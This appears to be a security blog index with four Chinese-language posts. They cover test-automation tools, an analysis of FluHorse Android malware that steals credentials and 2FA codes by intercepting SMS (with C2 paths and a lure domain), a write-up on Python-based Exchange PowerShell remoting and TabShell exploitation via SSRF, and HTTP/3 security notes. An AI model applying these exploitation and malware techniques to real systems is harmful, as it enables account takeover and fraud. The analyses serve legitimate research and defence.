Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863110962

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking

測試是創建任何軟件產品不可避免的一部分。但手動測試需要花費大量時間和精力，並且可能導致產品發布延遲。自動化測試可以幫助您提高測試工作的效率並加快解決方案的發布。然而，為了確保自動化測試真正帶來最好的結果，選擇合適的自動化軟件測試工具至關重要。

在本文中，我們簡要概述了我們在Apriorit 實施的測試自動化工具。本文將對QA 專家在他們的項目中尋找正確的方法和自動化測試工具很有用。

什麼是自動化測試？自動化測試是一種使用特殊自動化工具執行回歸測試和單元測試等軟件測試的技術。這種類型的測試與手動測試相反，在手動測試中，測試用例套件由QA 專家手動創建和執行。

自動化測試適用於需要多次重複測試的大型項目，也適用於最初手動測試但需要重新測試的項目。對於短期項目，手動測試更適合，因為它比自動化測試更靈活、更容易實施。您還可以使用手動測試來檢查產品的可用性。

使用軟件工程中的自動化測試工具，您可以比較預期和收到的測試結果，並獲得不同格式的非常詳細的報告。這種方法的一個有用特性是能夠在適當的地方重用測試用例。使用自動化測試，您可以減少手動測試的數量。

測試自動化有什麼好處？讓我們從探索自動化測試相對於手動測試的一些主要優勢開始。了解它們將幫助您了解軟件測試自動化工具是否對您的項目有益。

image.png

自動化測試的優勢

1. 測試速度提升手動測試需要大量的日常工作。相比之下，自動化測試可以讓您在重複性任務上節省大量時間。此外，借助自動化軟件測試工具，您可以全天24 小時執行測試，而無需QA 專家在場並觀察過程。您可以在晚上運行一個腳本，早上就已經有了測試結果。

2. 降低測試成本從長遠來看，自動化降低了測試成本。為應用程序創建測試腳本後，您可以多次重複使用它以發現由於產品更改而出現的錯誤。

3. 提高測試精度自動化測試消除了人為錯誤的可能性。即使是專業的QA 專家也可能會犯無意的錯誤。正確組合的自動化腳本可提供最準確和詳細的測試結果。

4. 更大的測試覆蓋率自動化測試允許您模擬大量用戶在更多設備上的操作，這比手動測試專家在同一時間段內可能涵蓋的範圍要多。產品的測試覆蓋率越高，及時發現潛在錯誤的機會就越大。

5. 早期錯誤檢測確保在引入任何重大更改後測試您的產品。通過這種方式，您可以確保及早發現錯誤和錯誤，並在它們造成嚴重損害之前解決它們。

但是，如果沒有合適的工具，就不可能正確實施自動化測試。在下一節中，我們將討論最佳自動化測試工具的關鍵標準，以幫助您選擇最適合您項目需求的自動化測試工具或框架。

如何選擇最好的自動化測試工具？您可以從確定您對用於軟件測試的自動化工具的要求和評估您團隊的技能開始。然後，您可以根據這些信息評估不同的測試自動化工具和框架及其功能。

image.png

一、項目要求每個項目都是獨一無二的。因此，您應該根據特定項目的要求來選擇最佳的自動化測試工具。對於您的項目，您可以根據要求選擇自動化測試工具，例如：

被測應用類型

支持的平台

支持的瀏覽器

支持的設備

支持的腳本語言

除了這些要求之外，您還可以考慮對測試項目至關重要的其他要求。

二、 QA團隊的編程能力根據QA 團隊的編程技能水平，您需要從兩種類型的自動化測試框架中進行選擇：

無腳本框架。如果您的測試團隊中沒有人具備編程技能，最好使用無腳本框架。選擇特定工具時，請特別注意項目所需的測試複雜程度：可以使用免費工具和服務實施簡單的自動化測試，而具有復雜邏輯的測試可能需要部署付費測試自動化解決方案。

編碼框架。此選項適用於具有強大編程技能的QA 專家。與無腳本替代方案相比，編碼框架更靈活且更易於維護。此外，建議使用編碼框架來測試處理視頻或音頻的產品。當您開始使用編碼框架進行自動化測試時，您將需要花費額外的時間來創建測試用例。但稍後，您將能夠通過重用這些測試用例來節省時間並加快測試過程。

三、CI/CD 集成如果您使用或計劃使用持續集成和持續交付（CI/CD），我們建議您選擇支持CI/CD 解決方案的框架。例如，Jenkins、TeamCity 和Bamboo 等CI/CD 解決方案開箱即用地支持Java、C# 和Python。但是在將這些服務器與其他語言和框架集成時可能會遇到一些困難。

此外，如果您打算使用無腳本框架，值得注意的是並非所有框架都可以與CI/CD 系統集成。

四、報告格式報告是測試自動化框架中最重要的組成部分。完成測試過程後，測試結果報告將幫助您分析應用程序中的所有缺陷。軟件測試中不同的自動化測試工具可以為您提供以下形式的報告：

測試過程視頻記錄

檢測到的錯誤的屏幕截圖

檢測到錯誤的堆棧跟踪

失敗測試步驟的詳細報告

時間報告

根據項目的需要，您可以選擇具有不同報告選項的自動化測試工具。大多數工具都可以創建錯誤和堆棧跟踪的屏幕截圖，並為您提供有關測試時間的信息。但只有少數人可以創建視頻記錄。

視頻記錄可以讓您在測試期間實際看到系統的行為。通過這種方式，您可以花更少的時間來確定特定錯誤的原因。但是視頻錄製會消耗額外的資源，因此由於負載增加，您將能夠運行更少的測試。不過，並非所有測試都需要錄像。例如，在API 測試期間通常不需要視頻報告。

五、工具實施成本雖然測試自動化可以降低測試產品的成本，但實施自動化工具的費用也會有所不同。尤其要注意兩個因素：

框架的成本。有免費產品，但它們的功能往往有限，並不適合所有人。付費產品反過來提供了更多的測試功能，但增加了項目的測試自動化費用。

參與自動化測試過程的專家成本。這可能包括培訓人員使用所選工具執行測試或僱用額外人員在您的項目中實施自動化測試的成本。

這些是為您的項目選擇正確的自動化測試工具的一些關鍵標準。此外，您可以將您的特定要求添加到此列表中。提出最終需求列表後，您可以開始按特定功能比較不同的自動化測試工具。為了讓您更輕鬆地做出選擇，在下一節中，我們將分享Apriorit QA 專家常用的軟件測試自動化工具和框架列表。

5個最好的自動化測試工具市場上有很多自動化軟件測試工具，但並非所有工具都適合您的項目。我們想分享我們在Apriorit 成功使用的自動化測試工具列表。此列表中提供的工具可供不同級別的測試工程師使用，用於測試針對不同平台使用不同語言編寫的產品。

image.png

1. SeleniumSelenium是最流行的自動化網站和Web 應用程序測試框架之一。這個開源框架適合具有高級編程技能的QA 工程師。

Selenium包括幾個組件：

Selenium IDE（集成開發環境）

Selenium RC（遠程控制）

Selenium WebDriver

Selenium Grid

這四個組件有自己的測試自動化方法，因此您可以選擇最適合您目標的方法。

image.png

屏幕截圖1. Selenium 界面

Selenium 是一種靈活的工具，允許您創建用於自動化測試的複雜腳本。您可以使用Selenium 進行跨平台測試。但是，考慮到您可以測試的平台集可能會因您選擇的語言而異。

Selenium 的最大優勢之一是其龐大的社區。如果您在實施此測試工具時需要幫助，您可以輕鬆地從其他Selenium 用戶那裡獲得幫助。

Selenium 可能存在的缺點包括測試支持成本高、初始階段創建測試用例的速度慢以及QA 專家進入門檻高，因為它是一個編碼框架，需要強大的編程技能。

2.SelenideSelenide，一個易於使用的開源Java 測試框架，基於Selenium WebDriver。 Selenide 擴展了Selenium WebDriver和JUnit的功能。在Apriorit，我們使用此工具來快速測試尚未使用自動化工具測試的產品。

image.png

截圖2. Selenide 界面

Selenide 是跨平台的，並且有透明的WebDriver。 WebDriver 幫助您解決超時問題並允許測試Ajax 技術。使用Selenide，您不需要直接操作WebDriver，因為Selenide 控制了瀏覽器。

Selenide 的主要缺點是它只適合使用Java 編寫測試。

3. Telerik Test StudioTelerik Test Studio是軟件測試中的頂級自動化工具之一，可廣泛用於各種測試，包括移動應用程序測試、回歸測試、功能測試和負載測試。雖然它是一個無腳本框架，但您可以在必要時使用編程語言指定它的一些要求。

image.png

截圖3. Telerik Test Studio 界面

Telerik 支持不同的系統，因此非常適合跨平台和跨瀏覽器的應用程序測試。內置記錄器和自動回放允許您對多個測試使用相同的腳本，這有助於您節省時間並提高測試速度。

您可以使用Telerik Test Studio 的試用版30 天。之後，您需要購買許可證。使用Telerik Test Studio，您需要為版本控製配置一個插件。此外，與其他自動化測試工具相比，Telerik 提供了一種不太舒適且更難處理對象屬性的方式。

4.Katalon StudioKatalon Studio是軟件工程中一個相對簡單的自動化測試工具，它使用預定義的工件結構，例如測試用例、測試套件、測試對象和報告。這極大地簡化了QA 專家的任務並加快了測試速度。

image.png

截圖4. Katalon Studio 界面

該框架支持關鍵字驅動的測試。為了創建測試用例，QA 專家使用關鍵字來指示用戶對測試應用程序的操作。除了標準關鍵字外，您還可以添加自定義關鍵字。此功能將幫助編程知識有限的QA 專家更快地創建測試套件。為了更快地執行測試，您還可以使用測試套件集合功能並行或連續運行多個測試套件。

社區小是Katalon Studio 的缺點之一。如果您遇到此框架的問題，您將很難獲得任何支持。其次，您需要購買許可證才能獲得更多功能，因為只有基本功能是免費提供的。

5.TestCompleteTestComplete是一個無腳本框架，還支持多種編程語言。

image.png

截圖5. TestComplete 界面

使用TestComplete 框架，QA 專家可以記錄並在以後回放測試場景，並且可以在不同的測試階段插入檢查點以檢查結果。使用對象識別引擎，TestComplete 可以識別動態界面元素。這對於用戶界面經常變化的應用程序特別有用。

至於TestComplete的缺點，成本高，有一些穩定性問題，缺乏透明的文檔。

測試自動化工具比較在下表中，我們對本文討論的所有五種頂級測試自動化工具進行了比較：

image.png

結論自動化測試使您能夠更快、更準確地處理測試任務。但為了獲得最佳結果，選擇正確的測試工具很重要。沒有適用於所有項目的通用解決方案。選擇合適的工具取決於您的項目要求、您的預算和QA 專家的編程技能。

HireHackking

微信截图_20230512233738.png

Check Point的研究人員最近發現了一種名為FluHorse的新型惡意軟件。該惡意軟件具有幾個模仿合法應用程序的惡意安卓應用程序，其中大多數安裝量超過100萬次。這些惡意應用程序竊取受害者的憑據和雙因素身份驗證（2FA）代碼。 FluHorse針對東亞市場的不同領域，並通過電子郵件進行傳播。在某些情況下，第一階段攻擊中使用的電子郵件屬於知名對象。惡意軟件可以在數月內不被發現，這使其成為一種持久、危險且難以發現的威脅。

1.png

其中一個惡意軟件樣本在3個月後仍未在VirusTotal（VT）上檢測到

攻擊者使用規避技術、模糊處理和執行前的長時間延遲等技巧來躲過虛擬環境的檢測。通常，這些技巧都有自定義實現，需要開發者付出大量的努力。

令人驚訝的是，FluHorse內部沒有使用自定義實現的技巧，因為惡意軟件的開發者在開發過程中完全依賴開源框架。儘管一些應用程序部分是用Kotlin創建的，但惡意功能是用Flutter實現的。 Flutter是一個開源的用戶界面軟件開發工具包，由谷歌創建。它用於為各種平台開發跨平台應用程序，包括用於移動設備的Android和iOS，使用單個代碼庫。 Flutter之所以成為惡意軟件開發人員的一個有吸引力的選擇，是因為它使用自定義虛擬機（VM）來支持不同的平台，而且它易於創建GUI元素。此外，由於自定義的虛擬機，分析此類應用程序非常複雜，這使得該框架成為Android網絡釣魚攻擊的完美解決方案。

模擬應用程序攻擊者會為每個國家的目標開發一個虛假應用程序：攻擊者努力仔細模仿所有關鍵細節，以避免引起任何懷疑。

網絡釣魚讓我們看一下如何在應用程序的不同變體中實現網絡釣魚，有趣的是，惡意應用程序不包含任何東西，除了為受害者提供輸入可能性的幾個窗口副本。沒有添加額外的函數或檢查。這種刻意的簡單性讓我們得出結論，惡意軟件的開發者並沒有在他們創建的編程部分投入太多精力，又或者他們可能故意做出這個決定，以進一步減少被安全解決方案檢測到的機會。

不管他們的意圖是什麼，這個計劃都很有效。受害者輸入敏感數據後，這些數據會被洩露到CC服務器。與此同時，惡意軟件要求受害者在“處理數據”時等待幾分鐘。在這一步中，短信攔截功能發揮作用，將所有傳入的短信流量重定向到惡意服務器。如果攻擊者輸入被盜憑證或信用卡數據，然後被要求輸入雙因素身份驗證（2FA）代碼，這也會被攔截。網絡釣魚方案如下：

4.png

惡意軟件如何進行網絡釣魚攻擊

請注意，根據惡意應用程序的類型（針對電子收費、銀行或約會用戶），可能不需要憑據或信用卡號。

感染鍊和目標在受害者的設備上安裝惡意應用程序之前，必須先發送惡意應用程序。這就是電子郵件誘餌派上用場的地方。我們追踪了不同類型惡意應用程序的感染鏈，並在這些電子郵件的收件人中發現了多個知名對象，包括政府部門和大型工業公司的員工。

電子郵件誘餌很好地利用了社會工程，並與隨後安裝的惡意APK的所謂目的一致：支付通行費。

這是一個帶有fetc.net.tw-notice@twfetc.com發件人地址：

5.png

攻擊者發送給政府接收者的電子郵件示例

攻擊者使用的惡意fetc-net[.]com域與fetc公司的官方網站fetc.net.tw非常相似。

在這個惡意網站上，攻擊者添加了一個額外的保護層，以確保只有受害者才能下載APK：如果目標的用戶代理與預期的用戶代理匹配，就會下載APK。此檢查是通過客戶端JavaScript執行的：

6.png

惡意軟件安裝完成後，需要短信權限：

7.png

ETC APK請求SMS權限

在此步驟中獲得的權限將在受害者輸入敏感數據後生效。

惡意電子收費APK此應用程序僅包含3個窗口：

8.png

惡意ETC APK按順序顯示的窗口

第一個窗口詢問用戶憑證，第二個窗口詢問信用卡數據。所有這些敏感數據都被洩露到惡意的CC服務器。接下來，第三個窗口要求用戶等待10分鐘，因為“系統繁忙”。希望用戶關閉應用程序，或者至少在合理的時間內不被懷疑。當用戶被“系統繁忙”消息誤導而產生虛假的安全感時，攻擊者會執行所有必要的操作，即攔截所有帶有2FA代碼的短信，並利用被盜數據。

這個誘餌應用程序的整個GUI看起來像是原始ETC應用程序的一個簡單副本，用於收取通行費。以下是惡意和合法應用程序入口窗口的可視化比較：

9.png

原始輸入窗口(左)和惡意APK輸入窗口(右)

原始應用程序不顯示任何用於登錄或輸入用戶憑據的字段。相反，有一個單獨的窗口用於此目的：

10.png

原始應用程序登錄表格

惡意VPBank APK此應用程序僅包含2個窗口：

11.png

惡意VPBank APK按順序顯示的窗口

其原理與其他惡意APK相同：要求用戶輸入憑據，然後等待15分鐘（而惡意ETC APK則為10分鐘）。在此期間，惡意軟件攔截所有傳入的SMS，從而為攻擊者提供他們可能需要的所有2FA代碼。請注意，此應用程序不要求提供信用卡詳細信息。

惡意和合法應用程序登錄窗口之間的比較：

12.png

原始登錄窗口（左）和惡意APK輸入窗口（右）

如上所示，即使缺少某些GUI元素，惡意副本看起來也很好。

惡意約會APK約會應用程序不包含任何窗口。相反，它實際上充當了一個瀏覽器，引導用戶進入釣魚約會網站。但是，竊取和處理數據的原理是一樣的。

我們沒有與受害者交互的所有步驟的屏幕截圖，因為在撰寫本文時，負責處理從該APK竊取的數據的惡意服務器尚未激活。根據代碼，只有信用卡數據被盜，不需要憑證。

13.png

APK中顯示的釣魚交友網站窗口

所示消息的翻譯如下：

14.png

網絡釣魚網站上顯示的消息翻譯。

技術細節與分析純Android應用程序相比，分析基於flutter的應用程序需要一些中間步驟才能達到目的。

深度分析如上所述，Flutter使用自定義的虛擬環境來支持具有單一代碼庫的多平台開發。開發過程中使用了一種名為Dart的特定編程語言。分析Flutter平台代碼變得更容易了，因為它是一個開源項目，但仍然是一個繁瑣的過程。

15.png

Flutter Github頁面中的Dart演示

讓我們來看看在處理Flutter運行時的特殊領域時遇到的一些複雜情況。我們用哈希2811f0426f23a7a3b6a8d8b7e1bcd79e495026f4dcdc1c2fd218097c98de684解剖了一個APK。

ARM的Flutter運行時使用自己的堆棧指針寄存器（R15）而不是內置的堆棧指針（SP）。哪個寄存器用作堆棧指針在代碼執行或反向工程過程中沒有區別。然而，這對反編譯器來說有很大的不同。由於寄存器的使用不規範，會生成錯誤且難看的偽代碼。

啟動惡意軟件分析的一個好方法是確定與CC服務器的通信協議。這可以說明很多惡意功能。裡面有一個字符串，對應於我們在釣魚電子郵件中看到的網站：

16.png

惡意APK中字符串中CC服務器的地址

然而，當我們試圖找到對此字符串的一些引用時，分析失敗：

17.png

IDA中沒有對CC服務器字符串的引用

我們的目標是創建對該字符串的引用，以定位執行CC通信的代碼。

Flutter -re-demo和reFlutter可以用來處理Flutter應用程序，其主要思想是使用運行時快照來創建Dart對象並查找對它們的引用。 reFlutter的主要目的是收集函數的名稱，而flutter re-demo允許我們處理在應用程序執行期間收集的內存轉儲。

然而，除了內存快照之外，還需要一些更多的運行時信息。 Flutter運行時使用堆來創建對象，並將指向已創建對象的指針存儲在一個稱為對像池的特殊區域中。指向該池的指針被傳遞到寄存器X27中的方法。我們需要找到對像池的位置。

flutter-re-demo使用Frida收集內存轉儲並獲取對像池地址。如果我們使用在flutter-re-demo存儲庫中可用的dump_flutter_memory.js腳本運行APK，我們會看到所需的地址：

18.png

帶有所需地址的Frida腳本輸出

現在我們已經擁有了開始一個高效的逆向工程所需的所有元素。

在用map_dart_vm_memory.py加載轉儲文件並運行create_dart_objects.py腳本後，我們現在至少可以看到一些對象：

19.png

腳本創建的對象

有一個名為create_dart_objects.py的腳本，用於創建dart對象。該腳本通過遍歷對像池、解析記錄和創建對象來工作。腳本沒有關於這些對象的信息，腳本會為它們創建以下描述對象格式的結構：

20.png

這裡的NNN被“class id”取代，如下所示：

21.png

由create_dart_objects.py創建的結構

在Flutter應用程序逆向工程時，研究人員注意到最後一個字段（unk）經常被用作指針。可以考慮將該字段從簡單的QWORD轉換為OFFSET QWORD。這可能會給帶來一些誤報，但也可能非常有助於創建參考。因此，我們決定更改由腳本創建的unkin結構的字段類型。以下是對原始腳本的更改：

23.png

對dart_obj_create.py腳本的更改

研究人員提到的存儲庫包含一個用於創建對Dart對象引用的腳本：add_xref_to_art_objects.py。當運行它時，該腳本會遍歷代碼並創建對create_Dart_objects.py腳本創建的Dart對象的引用。不過此時仍然只有一個對我們感興趣的字符串的引用，即來自對像池的引用：

24.png

沒有對CC服務器URL的引用

我們的第一個想法是，也許根本沒有交叉引用？不過這不可能，存在幾個交叉引用，例如，這個對象就具有引用：

25.png

幾個從函數到對象的引用

這是從函數中引用的對象：

26.png

引用在函數代碼中的外觀

通過瀏覽add_xref_to_dart_objects.py的代碼，我們可以看到文件dart_obj_xref.py。該文件還遍歷代碼，嘗試根據寄存器X27提取對數據的引用，計算這些引用的偏移量，最後創建IDA引用。對代碼的分析表明，原始腳本支持訪問該對象的兩種ARM代碼變體：

27.png

代碼是否使用了一些其他指令來引用寄存器X27？讓我們檢查一下。為了方便起見，讓我們修改腳本，並為用X27處理的每條指令添加一條註釋：

28.png

dart_obj_xref.py修改

然後，我們可以檢查用X27處理的結構的反彙編程序列表，這些構造沒有附加對Dart對象的註釋引用。我們可以通過IDA生成一個列表文件並使用grep實用程序進行grep，從而部分自動化這些操作，如下所示：

29.png

首先，grep查找具有X27的所有字符串。然後，所有這些字符串都給了第二個grep命令，只打印那些不包含對Dart對象引用的字符串。因此，我們只看到不受支持的X27引用。

當檢測到不受支持的X27構造時，我們將在腳本中添加支持該構造的代碼。經過幾次迭代，我們終於獲得了對CC地址字符串的引用：

30.png

對CC地址字符串的引用

讓我們從sub_70FD611C0C開始檢查這些函數。簡要概述顯示，當與CC服務器通信時，此函數打算使用路徑為“/addcontent3”的HTTP POST方法來執行：

31.png

sub_70FD611C0C函數的偽代碼

另一個Dart對像也有對這個函數的引用：

32.png

對Dart對象的引用

當我們遍歷這些引用時，我們最終得到了帶有以下代碼的函數：

33.png

負責監聽所有傳入短信的代碼

此函數為所有傳入的短信安裝一個偵聽器。

為了確保我們做了正確的靜態分析，我們在運行時在一個真實的設備上檢查了這個函數。實際上，我們捕獲了一個發送到CC服務器的POST請求。

這是設備收到帶有“Fdsa”文本的短信後的CC請求示例：

34.png

因此，使用sub_70FD611C0C函數將短信洩露到CC服務器

除了被洩露的數據類型和服務器路徑之外，函數sub_70FD61EBC4和sub_70FD61EECC看起來與已經分析的sub_70FD 611C0C非常相似。這些函數分別使用路徑“/addcontent”和“/addcontent2”，用於洩露受害者的憑據和支付卡信息。

DEX代碼中沒有服務器通信的痕跡，因此我們可以假設所有通信都位於應用程序的Flutter部分。在分析了與命令控制服務器通信相關的所有功能之後，我們可以描述網絡協議。

CC通信CC協議旨在將數據從受攻擊設備發送到服務器。沒有命令可以在相反的方向上發送，即從服務器發送到受攻擊設備。 HTTPS用於傳輸數據，並且使用了幾個終端。

以下是我們在分析樣本中遇到的每個終端的介紹：

35.png

用於約會惡意應用程序的網絡誘餌變體使用了非常相似的協議。這是一個洩露信用卡數據的示例：

HireHackking

0x00 前言遠程執行Exchange Powershell命令可以通過Powershell建立powershell session 實現。而在滲透測試中，我們需要盡可能避免使用Powershell，而是通過程序去實現。本文將要介紹通過Python實現遠程執行Exchange Powershell命令的細節，分享使用Python實現TabShell利用的心得。

0x01 簡介本文件將介紹以下內容：

執行Exchange Powershell 命令的實際方法

開發細節

TabShell利用細節

0x02 執行Exchange Powershell 命令的實際方法1.使用Powershell連接Exchange服務器，執行Exchange Powershell命令命令示例：

1.png

需要注意以下問題：

需要域內主機上執行

需要fqdn，不支持IP

連接url可以選擇http或者https

認證方式可以選擇Basic或者Kerberos

2.使用Python連接Exchange服務器，執行Exchange Powershell命令這裡需要使用pypsrp

命令示例：

2.png

0x03 開發細節這裡需要了解具體的通信格式，我採用的方法是使用pypsrp，打開調試信息，查看具體發送的數據格式

1.啟動調試信息將調試信息寫到文件，代碼如下：

3.png

2.增加調試輸出內容修改文件pypsrp/wsman.py，在def send(self, message: bytes)中添加調試輸出信息

具體代號位置：

https://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L834，添加代碼：

4.pnghttps://github.com/jborean93/pypsrp/blob/master/src/pypsrp/wsman.py#L841，添加代碼：

5.png輸出結果顯示如下圖

6.png

3.數據包數據結構可參考之前的文章《渗透技巧——远程访问Exchange Powershell》

經過對比分析，在編寫程序上還需要注意以下細節：

(1)Kerberos認證的實際情況

示例代碼：

7.png

(2)通信數據格式

類型為POST

header需要包裹：'Accept-Encoding': 'identity'

(3)認證流程

需要先進行Kerberos認證，返回長度為0

再次發送數據，進行通信，返回正常內容

(4)數據編碼

發送和接收的數據平均做了編碼

發送過程序的代碼顯示示例代碼：

8.png

注：

hostname必須為小寫字符

接收過程序的解碼示例代碼：

9.png完整展示示例代碼如下：

10.png 11.png完整代碼的輸出結果如下圖

12.png

0x04 TabShell利用細節TabShell的公開POC使用Powershell連接取接Exchange服務器，執行特殊構造的Exchange Powershell命令接觸，為便於分析中間的通信數據，可以採用以下方法擦拭中間：

1.通過Flask構建本地代理服務器方法可參考之前的文章《ProxyShell利用分析3——添加用户和文件写入》

2.通過Flask實現SSRFSSRF漏洞可選擇CVE-2022-41040或CVE-2022-41080

3.在Flask中輸出中間的通信數據關鍵字代碼示例：

13.png根據通信數據，我們可以很容易地寫出TabShell的Python現代代碼，完整代碼的輸出結果如下圖

14.png

0x05 小結本文件介紹了通過Python 實現遠程執行Exchange Powershell 命令的細節，分享使用Python 實現TabShell 使用的心得。

HireHackking

10. 安全注意事項HTTP/3的安全考慮應該與使用TLS的HTTP/2相當。然而，[HTTP/2] 第10 節中的許多注意事項適用於[QUIC-TRANSPORT]。

10.1. 服務器權限HTTP/3依賴於HTTP對權限的定義。建立權限時的安全考慮在[HTTP]第17.1節中進行討論。

10.2 跨協議攻擊在TLS 和QUIC 握手中使用ALPN 在處理應用層字節之前建立目標應用協議。這確保了終端有強有力的保證，即對等方使用相同的協議。

這並不能保證免受所有跨協議攻擊。我們會在[QUIC- transport]中描述一些方法，可以使用QUIC 數據包的明文對不使用經過身份驗證的傳輸的終端執行請求偽造的方法。

10.3. 中間封裝（Intermediary-Encapsulation）攻擊HTTP/3 字段編碼允許在HTTP 使用的語法中表達不是有效字段名稱的名稱（[HTTP] 的第5.1 節）。包含無效字段名稱的請求或響應必須被視為格式錯誤。因此，中介無法將包含無效字段名稱的HTTP/3 請求或響應轉換為HTTP/1.1 消息。

同樣，HTTP/3 可以傳輸無效的字段值。雖然大多數可以編碼的值不會改變字段解析，但如果逐字翻譯，攻擊者可能會利用回車符(ASCII0x0d)、換行符(ASCII0x0a) 和空字符(ASCII0x00)。任何包含字段值中不允許的字符的請求或響應都必須被視為格式錯誤。有效字符由[HTTP] 第5.5 節中的“field-content”ABNF 規則定義。

10.4 推送響應的可緩存性推送響應沒有來自客戶端的明確請求，請求是由服務端在PUSH_PROMISE幀中提供的。

根據原始服務器在Cache-Control 標頭字段中提供的指導，可以緩存推送的響應。但是，如果一台服務器託管多個租戶，這可能會導致問題。例如，服務器可能會為多個用戶提供其URI 空間的一小部分。

當多個租戶共享同一服務器上的空間時，該服務器必須確保租戶無法推送他們無權訪問的資源的表示。未能強制執行此操作將允許租戶提供將在緩存之外提供的表示，從而覆蓋權威租戶提供的實際表示。

要求客戶端拒絕原始服務器不具有權威性的推送響應（見第4.6 節）。

10.5 拒絕服務注意事項與HTTP/1.1 或HTTP/2 連接相比，HTTP/3 連接可能需要更大的資源承諾才能運行。字段壓縮和流量控制的使用取決於用於存儲更多狀態的資源的承諾。這些功能的設置可確保這些功能的內存承諾受到嚴格限制。

PUSH_PROMISE幀的數量也以類似的方式被限制。接受服務器推送的客戶端應該限制一次發送的Push ID的數量。

處理能力不能像狀態能力那樣得到有效保護。

發送對等方需要忽略的未定義協議元素的能力可能被濫用，從而導致對等方花費額外的處理時間。這可以通過設置多個未定義的SETTINGS參數、未知幀類型或未知流類型來完成。但是請注意，某些用途是完全合法的，例如可理解的擴展和填充以增加對流量分析的阻止力。

所有這些功能，例如服務器推送、未知協議元素、字段壓縮都有合法的用途。只有在不必要或過度使用時，這些功能才會成為一種負擔。

如果不監控此類行為的終端，則會使自己面臨拒絕服務攻擊。實現應該跟踪這些功能的使用，並對它們的使用設置限制。終端可以將可疑的活動視為H3_EXCESSIVE_LOAD類型的連接錯誤，但誤報將導致中斷有效連接和請求。

10.5.1 字段段大小的限制

大字段部分（第4.1 節）可能導致實現提交大量狀態。對路由至關重要的標頭字段可能出現在標頭部分的末尾，這會阻止標頭部分流傳輸到其最終目的地。這種排序和其他原因（例如確保緩存正確性）意味著終端可能需要緩衝整個標頭部分。由於字段部分的大小沒有硬性限制，一些終端可能被迫為標頭字段提交大量可用內存。

終端可以使用SETTINGS_MAX_FIELD_SECTION_SIZE（第4.2.2 節）設置來通知對等方可能適用於字段部分大小的限制。此設置只是建議性的，因此終端可以選擇發送超出此限制的字段部分，並有可能將請求或響應視為格式錯誤。此設置特定於HTTP/3 連接，因此任何請求或響應都可能遇到具有較低未知限制的躍點。中間人可以嘗試通過傳遞不同對等方提供的值來避免這個問題，但他們沒有義務這樣做。

當服務器接收到比它願意處理的更大的字段段時，可以發送一個HTTP 431(請求標頭字段太大)狀態碼([RFC6585])。客戶端可以刪除它無法處理的響應。

10.5.2 連接問題

CONNECT方法可以用於在代理上創建不成比例的負載，因為與創建和維護TCP連接相比，流的創建是相對便宜的。因此，支持CONNECT的代理在接受並發請求的數量上可能比較保守。

代理還可能會在關閉攜帶CONNECT 請求的流之後為TCP 連接維護一些資源，因為傳出TCP 連接仍處於TIME_WAIT 狀態。考慮到這一點，代理可能會在TCP 連接終止後延遲增加QUIC 流限制一段時間。

10.6 使用壓縮當秘密數據在與攻擊者控制的數據相同的上下文中被壓縮時，壓縮可以讓攻擊者恢復秘密數據。 HTTP/3 啟用字段壓縮（第4.2 節）；以下問題也適用於HTTP 壓縮內容編碼的使用，具體請參閱[HTTP] 的第8.4.1 節。

有一些針對壓縮的攻擊利用了網絡的功能(例如，[BREACH])。攻擊者誘導多個包含不同明文的請求，觀察每個請求中生成的密文的長度，當對秘密的猜測正確時，會顯示較短的長度。

在安全通道上通信的實現不得壓縮包含機密和攻擊者控制的數據的內容，除非每個數據源使用單獨的壓縮上下文。如果不能可靠地確定數據源，則不得使用壓縮。

10.7 填充和流量分析填充可用於掩蓋幀內容的確切大小，並用於緩解HTTP 中的特定攻擊，例如，壓縮內容包括攻擊者控制的明文和秘密數據的攻擊（例如，[BREACH]）。

當HTTP/2使用填充幀和其他幀中的填充字段來使連接更能阻止流量分析時，HTTP/3既可以依賴傳輸層填充，也可以使用在7.2.8節和6.2.3節中討論的保留幀和流類型。這些填充方法在填充的粒度、如何根據受保護的信息排列填充、是否在數據包丟失的情況下應用填充以及實現如何控制填充等方面產生不同的結果。

保留流類型可用於在連接空閒時提供發送流量的外觀。因為HTTP流量經常以突發的形式出現，所以可以使用明顯的流量來掩蓋這種突發的時間或持續時間，甚至看起來像是在發送恆定的數據流。然而，由於這些流量仍然是由接收方控制的流量，如果不能及時排出這些流量並提供額外的流量控制信用，可能會限制發送方發送真實流量的能力。

為了緩解依賴於壓縮的攻擊，禁用或限制壓縮可能比填充更可取。

填充方法的使用可能導致保護效果不如看上去那麼明顯。冗餘填充甚至可能適得其反。充其量，填充只會使攻擊者更難通過增加攻擊者必須觀察的幀數來推斷長度信息。錯誤實現的填充方案很容易被繞過。特別是，具有可預測分佈的隨機填充提供的保護非常少。同樣，將有效負載填充到固定大小會在有效負載大小跨越固定大小邊界時暴露信息，如果攻擊者可以控制明文，這是可能的。

10.8 幀解析一些協議元素包含嵌套的長度元素，通常以具有顯式長度的幀的形式包含可變長度整數。這可能會給粗心的實施者帶來安全風險。實現必須確保幀的長度與其包含的字段長度完全匹配。

10.9 早期的數據將0-RTT 與HTTP/3 一起使用會導致重放攻擊。當使用帶有0-RTT 的HTTP/3 時，必須應用[HTTP-REPLAY] 中的反重放緩解措施。在將[HTTP-REPLAY] 應用於HTTP/3 時，對TLS 層的引用是指在QUIC 中執行的握手，而對應用程序數據的所有引用指的是流的內容。

10.10 遷移某些HTTP實現使用客戶端地址進行日誌記錄或訪問控制。由於QUIC客戶端的地址可能會在連接期間發生變化，並且未來版本可能支持同時使用多個地址，因此此類實現將需要主動檢索客戶端的當前地址或相關地址，或者明確接受原始地址可能會更改。

10.11 隱私注意事項HTTP/3的一些特徵為觀察者提供了一個機會，可以在一段時間內關聯單個客戶端或服務器的操作。這包括設置的值，對刺激的反應時間，以及處理由設置控制的任何功能。

就這些在行為上產生可觀察到的差異而言，它們可以用作對特定客戶進行指紋識別的基礎。

HTTP/3 對使用單個QUIC 連接的偏好允許關聯用戶在站點上的活動。重用不同來源的連接允許跨這些來源的活動相關聯。

QUIC的幾個功能要求立即響應，終端可以使用它來測量對等方的延遲，在某些情況下，這可能會出現隱私洩露。

11. IANA 注意事項本文檔註冊了一個新的ALPN 協議ID（第11.1 節）並創建了管理HTTP/3 中代碼點分配的新註冊表。

